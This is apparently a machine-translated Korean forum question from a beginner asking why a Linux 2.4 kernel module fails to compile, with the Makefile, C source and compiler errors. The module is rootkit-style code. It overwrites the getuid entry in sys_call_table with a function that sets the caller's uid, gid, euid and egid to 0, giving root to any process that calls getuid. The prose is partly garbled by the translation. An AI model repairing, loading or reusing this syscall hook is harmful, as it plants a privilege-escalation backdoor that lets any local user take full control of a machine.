1
커널 2.4에서 커널 모듈을 컴파일하고 싶습니다. 커널 프로그래밍을 처음 사용합니다.커널 모듈의 선언되지 않은 변수
TARGET := hello-2
WARN := -W -Wall -Wstrict-prototypes -Wmissing-prototypes
INCLUDE := -isystem /lib/modules/`uname -r`/build/include
CFLAGS := -O2 -DMODULE -D__KERNEL__ ${WARN} ${INCLUDE}
CC := `which gcc`
${TARGET}.o: ${TARGET}.c
.PHONY: clean
clean:
rm -rf ${TARGET}.o
여기에 코드입니다 : 여기 는 Makefile
입니다
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
extern void *sys_call_table[];
int (*orig_getuid)();
int give_root()
{
int x;
if (current->uid != 0) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
}
return 0;
}
int init_module(void)
{
orig_getuid = sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid] = give_root;
return 0;
}
void cleanup_module(void)
{
sys_call_table[SYS_getuid] = orig_getuid;
}
그것은 무언가를 배울 수있는 이전 커널 (2.4)와 게스트를 통해 좋습니다. 내가 신고하지 않은 current
및 Sysgetuid
...에 대해 몇 가지 오류를 반환합니다. 사용자 모드에서 해당 프로그램을 컴파일하는 것에 대해 언급 한 게시물을 읽었으므로이 오류가 발생했으며 커널 모듈을 작성해야합니다. 하지만 커널 모듈에이 문제가 있습니다! 나는 기본적으로 뭔가 잘못하고있는 것을 안다!
`which gcc` -O2 -DMODULE -D__KERNEL__ -W -Wall -Wstrict-prototypes -Wmissing-prototypes -isystem /lib/modules/`uname -r`/build/include -c -o hello-2.o hello-2.c
hello-2.c:10:1: warning: "MODULE" redefined
hello-2.c:1:1: warning: this is the location of the previous definition
hello-2.c:12:1: warning: "__KERNEL__" redefined
hello-2.c:1:1: warning: this is the location of the previous definition
hello-2.c:20: warning: function declaration isn't a prototype
hello-2.c:23: warning: function declaration isn't a prototype
hello-2.c: In function `give_root':
hello-2.c:25: `current' undeclared (first use in this function)
hello-2.c:25: (Each undeclared identifier is reported only once
hello-2.c:25: for each function it appears in.)
hello-2.c:24: warning: unused variable `x'
hello-2.c: In function `hello_2_init':
hello-2.c:35: `SYS_getuid' undeclared (first use in this function)
hello-2.c: In function `hello_2_exit':
hello-2.c:42: `SYS_getuid' undeclared (first use in this function)
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `copy_segments':
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `p'
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `mm'
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `release_segments':
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:458: warning: unused parameter `mm'
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetch':/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:43: warning: unused parameter `x'
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetchw':
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:48: warning: unused parameter `x'
make: *** [hello-2.o] Error 1